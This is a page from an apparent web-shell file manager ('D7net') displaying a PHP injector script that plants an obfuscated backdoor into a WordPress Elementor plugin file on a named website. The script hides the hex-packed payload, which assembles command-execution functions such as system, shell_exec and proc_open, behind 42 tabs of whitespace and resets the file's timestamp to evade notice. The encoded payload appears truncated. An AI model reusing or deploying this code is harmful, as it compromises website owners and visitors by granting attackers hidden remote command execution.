D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
proc
/
thread-self
/
root
/
var
/
tmp
/
Filename :
.system
back
Copy
<?php $path = '/home/realadss/public_html/joycater.in/wp-content/plugins/elementor/includes/template-library/classes/class.import.images.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('%24slot1%20%3D%20%27746%27%3B%24slot2%20%3D%20%2756d%27%3B%24slot3%20%3D%20%27736%27%3B%24slot4%20%3D%20%276c6%27%3B%24slot5%20%3D%20%27c5f%27%3B%24slot6%20%3D%20%27706%27%3B%24slot7%20%3D%20%27468%27%3B%24slot8%20%3D%20%27727%27%3B%24slot9%20%3D%20%27472%27%3B%24slot10%20%3D%20%2716d%27%3B%24slot11%20%3D%20%275f6%27%3B%24slot12%20%3D%20%27e74%27%3B%24slot13%20%3D%20%2736c%27%3B%24slot14%20%3D%20%276f7%27%3B%24slot15%20%3D%20%27365%27%3B%24slot16%20%3D%20%27636%27%3B%24slot17%20%3D%20%2756e%27%3B%24config1%20%3D%20pack%28%22H%2A%22%2C%20%27737%27%20.%20%27973%27%20.%20%24slot1%20.%20%24slot2%29%3B%24config2%20%3D%20pack%28%22H%2A%22%2C%20%24slot3%20.%20%27865%27%20.%20%24slot4%20.%20%24slot5%20.%20%27657%27%20.%20%27865%27%29%3B%24config3%20%3D%20pack%28%22H%2A%22%2C%20%27657%27%20.%20%27865%27%29%3B%24config4%20%3D%20pack%28%22H%2A%22%2C%20%24slot6%20.%20%27173%27%20.%20%27737%27%20.%20%24slot7%20.%20%24slot8%29%3B%24config5%20%3D%20pack%28%22H%2A%22%2C%20%24slot6%20.%20%27f70%27%20.%20%27656%27%29%3B%24config6%20%3D%20pack%28%22H%2A%22%2C%20%27737%27%20.%20%24slot9%20.%20%27656%27%20.%20%24slot10%20.%20%24slot11%20.%20%27765%27%20.%20%27745%27%20.%20%27f63%27%20.%20%276f6%27%20.%20%24slot12%20.%20%27656%27%20.%20%24slot12%29%3B%24config7%20%3D%20pack%28%22H%2A%22%2C%20%24slot6%20.%20%24slot13%20.%20%24slot14%20.%20%24slot15%29%'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { @touch($path, $ft); $content = file_get_contents($path); if (strstr($content, $new_code)) { die('!success!'); } } } } die('!failed!');